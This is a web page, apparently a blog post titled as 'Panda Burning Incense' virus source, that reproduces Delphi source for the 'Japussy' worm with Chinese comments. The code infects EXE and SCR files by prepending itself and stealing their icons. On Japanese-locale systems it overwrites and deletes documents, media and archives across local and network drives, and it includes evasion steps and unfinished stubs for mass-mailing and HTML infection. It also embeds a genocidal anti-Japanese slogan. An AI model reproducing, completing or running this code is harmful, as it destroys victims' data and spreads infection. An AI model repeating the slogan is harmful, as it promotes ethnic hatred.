- 技术人生
- 熊猫烧香源代码
program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432; //病毒体的大小IconOffset = $12EB8; //PE文件主图标的偏移量//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同//查找2800000020的十六进制字符串可以找到主图标的偏移量 {HeaderSize = 38912; //Upx压缩过病毒体的大小IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量//Upx 1.24W 用法: upx -9 --8086 Japussy.exe}IconSize = $2E8; //PE文件主图标的大小--744字节IconTail = IconOffset + IconSize; //PE文件主图标的尾部ID = $44444444; //感染标记//垃圾码，以备写入Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; //日文操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;varVer: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) then Exit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True;end;{ 在流之间复制 }procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end;{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }procedure ExtractFile(FileName: string);varsStream, dStream: TFileStream;begintry sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end;exceptend;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin//哪位仁兄愿意完成之？end;{ 感染PE文件 }procedure InfectOneFile(FileName: string);varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;begintry //出错则文件正在被使用，退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节)，存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end;except;end;end;{ 将目标文件写入垃圾码后删除 }procedure SmashFile(FileName: string);varFileHandle: Integer;i, Size, Mass, Max, Len: Integer;begintry SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //文件大小 i := 0; Randomize; Max := Random(15); //写入垃圾码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); //定位 //写入垃圾码，将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除之exceptend;end;{ 获得可写的驱动器列表 }function GetDrives: string;varDiskType: Word;D: Char;Str: string;i: Integer;beginfor i := 0 to 25 do //遍历26个字母begin D := Chr(i + 65); Str := D + ':/'; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D;end;end;{ 遍历目录，感染和摧毁文件 }procedure LoopFiles(Path, Mask: string);vari, Count: Integer;Fn, Ext: string;SubDir: TStrings;SearchRec: TSearchRec;Msg: TMsg;function IsValidDir(SearchRec: TSearchRec): Integer;begin if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 0 //不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 1 //不是根目录 else Result := 2; //是根目录end;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbegin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then begin InfectOneFile(Fn); //感染可执行文件 end else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin //感染HTML和ASP文件，将Base64编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之？ end else if Ext = '.WAB' then //Outlook地址簿文件 begin //获取Outlook邮件地址 end else if Ext = '.ADC' then //Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end else if Ext = 'IND' then //Foxmail地址簿文件 begin //获取Foxmail邮件地址 end else begin if IsJap then //是倭文操作系统 begin if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) thenbegin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count do LoopFiles(Path + SubDir.Strings + '/', Mask);FreeAndNil(SubDir);end;{ 遍历磁盘上所有的文件 }procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP = 932 then //日文操作系统 IsJap := True; //去死吧！DriverList := GetDrives; //得到可写的磁盘列表Len := Length(DriverList);while True do //死循环begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList + ':/', '*.*'); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟end;end;{ 主程序开始 }beginif IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin //远程线程映射到Explorer进程 //哪位兄台愿意完成之？end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件else //已寄生于宿主程序上了，开始工作begin TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件end;end.
